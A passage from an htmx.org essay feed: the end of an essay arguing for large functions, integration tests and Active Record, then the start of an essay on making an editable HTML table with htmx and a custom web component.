uncommon in the Java community to adopt the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.baeldung.com&#x2F;java-dto-pattern&quot;&gt;DTO&lt;&#x2F;a&gt; pattern and have another set of objects entirely
distinct from the ORM layer that is passed out to the view.&lt;&#x2F;p&gt;
&lt;p&gt;I like the Active Record approach.  It may not be &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Separation_of_concerns&quot;&gt;separating concerns&lt;&#x2F;a&gt;
when looked at from a purist perspective, but &lt;em&gt;my&lt;&#x2F;em&gt; concern is often getting data from a database into an HTML document,
and Active Record does that job admirably without me needing to deal with a bunch of other objects along the way.&lt;&#x2F;p&gt;
&lt;p&gt;This helps me minimize the total number of objects I need to deal with in the system.&lt;&#x2F;p&gt;
&lt;p&gt;Will some functionality creep into a model that is maybe a bit “view” flavored?&lt;&#x2F;p&gt;
&lt;p&gt;Sure, but that’s not the end of the world, and it reduces the number
of layers and concepts I have to deal with.  Having one class that handles retrieving data from the database, holding
domain logic and serves as a vessel for presenting information to the view layer simplifies things tremendously for me.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I’ve given three examples of my codin’ dirty approach:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;I think (some) big functions are good, actually&lt;&#x2F;li&gt;
&lt;li&gt;I prefer integration tests to unit tests&lt;&#x2F;li&gt;
&lt;li&gt;I like to keep my class&#x2F;interface&#x2F;concept count down&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I’m presenting this, again, not to convince &lt;em&gt;you&lt;&#x2F;em&gt; to code the way &lt;em&gt;I&lt;&#x2F;em&gt; code, or to suggest that the way I code is “optimal” in
any way.&lt;&#x2F;p&gt;
&lt;p&gt;Rather it is to give you, and especially you younger developers out there, a sense that you don’t &lt;em&gt;have&lt;&#x2F;em&gt; to write code
the way that many thought leaders suggest in order to have a successful software career.&lt;&#x2F;p&gt;
&lt;p&gt;You shouldn’t be intimidated if someone calls your code “dirty”: lots of very successful software has been written that
way and, if you focus on the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Algorithms_%2B_Data_Structures_%3D_Programs&quot;&gt;core ideas&lt;&#x2F;a&gt;
of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.web.stanford.edu&#x2F;~ouster&#x2F;cgi-bin&#x2F;book.php&quot;&gt;software engineering&lt;&#x2F;a&gt;, you will likely be successful
in spite of how “dirty” it is, and maybe even because of it!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Web Components Work Great with htmx</title>
        <published>2024-11-13T00:00:00+00:00</published>
        <updated>2024-11-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            Alexander Petros
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/webcomponents-work-great/"/>
        <id>https://htmx.org/essays/webcomponents-work-great/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/webcomponents-work-great/">&lt;p&gt;People interested in htmx often ask us about component libraries.
React and other JavaScript frameworks have great ecosystems of pre-built components that can be imported into your project; htmx doesn’t really have anything similar.&lt;&#x2F;p&gt;
&lt;p&gt;The first and most important thing to understand is that htmx doesn’t preclude you from using &lt;em&gt;anything&lt;&#x2F;em&gt;.
Because htmx-based websites are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unplannedobsolescence.com&#x2F;blog&#x2F;less-htmx-is-more&#x2F;&quot;&gt;often multi-page apps&lt;&#x2F;a&gt;, each page is a blank canvas on which you can import as much or as little JavaScript as you like.
If your app is largely hypermedia, but you want an interactive, React-based calendar for one page, just import it on that one page with a script tag.&lt;&#x2F;p&gt;
&lt;p&gt;We sometimes call this pattern “Islands of Interactivity”—it’s referenced in our explainers &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;10-tips-for-ssr-hda-apps&#x2F;#tip-8-when-necessary-create-islands-of-interactivity&quot;&gt;here&lt;&#x2F;a&gt;, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;#islands&quot;&gt;here&lt;&#x2F;a&gt;, and &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;you-cant&#x2F;#myth-5-with-htmx-or-mpas-every-user-action-must-happen-on-the-server&quot;&gt;here&lt;&#x2F;a&gt;.
Unlike JS frameworks, which are largely incompatible with each other, using islands with htmx won’t lock you into any specific paradigm.&lt;&#x2F;p&gt;
&lt;p&gt;But there’s a second way that you can re-use complex frontend functionality with htmx, and it’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Web_components&quot;&gt;Web Components&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;practical-example&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#practical-example&quot; aria-label=&quot;Anchor link for: practical-example&quot;&gt;Practical Example&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s say that you have a table that says what carnival rides everyone is signed up for:&lt;&#x2F;p&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;th&gt;Name
    &lt;th&gt;Carousel
    &lt;th&gt;Roller Coaster
  &lt;&#x2F;tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Alex
    &lt;td&gt;Yes
    &lt;td&gt;No
  &lt;&#x2F;tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Sophia
    &lt;td&gt;Yes
    &lt;td&gt;Yes
  &lt;&#x2F;tr&gt;
&lt;&#x2F;table&gt;
&lt;p&gt;Alex is willing to go on the carousel but not the roller coaster, because he is scared; Sophia is not scared of either.&lt;&#x2F;p&gt;
&lt;p&gt;I built this as a regular HTML table (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;td#technical_summary&quot;&gt;closing tags are omitted&lt;&#x2F;a&gt; for clarity):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Name    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Carousel  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Roller Coaster
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Alex    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes       &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;No
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Sophia  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes       &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now imagine we want to make those rows editable.
This is a classic situation in which people reach for frameworks, but can we do it with hypermedia?
Sure!
Here’s a naive idea:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-put&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&#x2F;carnival&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Name
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Carousel
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Roller Coaster
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Alex
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;alex-carousel&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;selected&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;No &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; Maybe&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;alex-roller&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;selected&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;No &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; Maybe&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Sophia
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sophia-carousel&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;selected&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;No &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; Maybe&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sophia-roller&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;selected&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Yes &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;No &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;option&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; Maybe&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Save&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;br&gt;
That will give us this table:
&lt;table&gt;
  &lt;tr&gt;
    &lt;th&gt;Name
    &lt;th&gt;Carousel
    &lt;th&gt;Roller Coaster
  &lt;&#x2F;tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Alex
    &lt;td&gt;&lt;edit-cell name=&quot;alex-carousel&quot; value=&quot;Yes&quot;&gt;&lt;&#x2F;edit-cell&gt;
    &lt;td&gt;&lt;edit-cell name=&quot;alex-roller&quot; value=&quot;No&quot;&gt;&lt;&#x2F;edit-cell&gt;
  &lt;&#x2F;tr&gt;
  &lt;tr&gt;
    &lt;td&gt;Sophia
    &lt;td&gt;&lt;edit-cell name=&quot;sophia-carousel&quot; value=&quot;Yes&quot;&gt;&lt;&#x2F;edit-cell&gt;
    &lt;td&gt;&lt;edit-cell name=&quot;sophia-roller&quot; value=&quot;Yes&quot;&gt;&lt;&#x2F;edit-cell&gt;
  &lt;&#x2F;tr&gt;
&lt;&#x2F;table&gt;
&lt;button&gt;Save&lt;&#x2F;button&gt;
&lt;p&gt;That’s not too bad!
The save button will submit all the data in the table, and the server will respond with a new table that reflects the updated state.
We can also use CSS to make the &lt;code&gt;&amp;lt;select&amp;gt;&lt;&#x2F;code&gt;s fit our design language.
But it’s easy to see how this could start to get unwieldy—with more columns, more rows, and more options in each cell, sending all that information each time starts to get costly.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s remove all that redundancy with a web component!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-put&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&#x2F;carnival&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Name
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Carousel
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;th&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Roller Coaster
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Alex
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;alex-carousel&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Yes&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;alex-roller&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;No&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Sophia
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sophia-carousel&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Yes&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;td&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;sophia-roller&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Yes&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;edit-cell&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tr&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Save&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;button&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
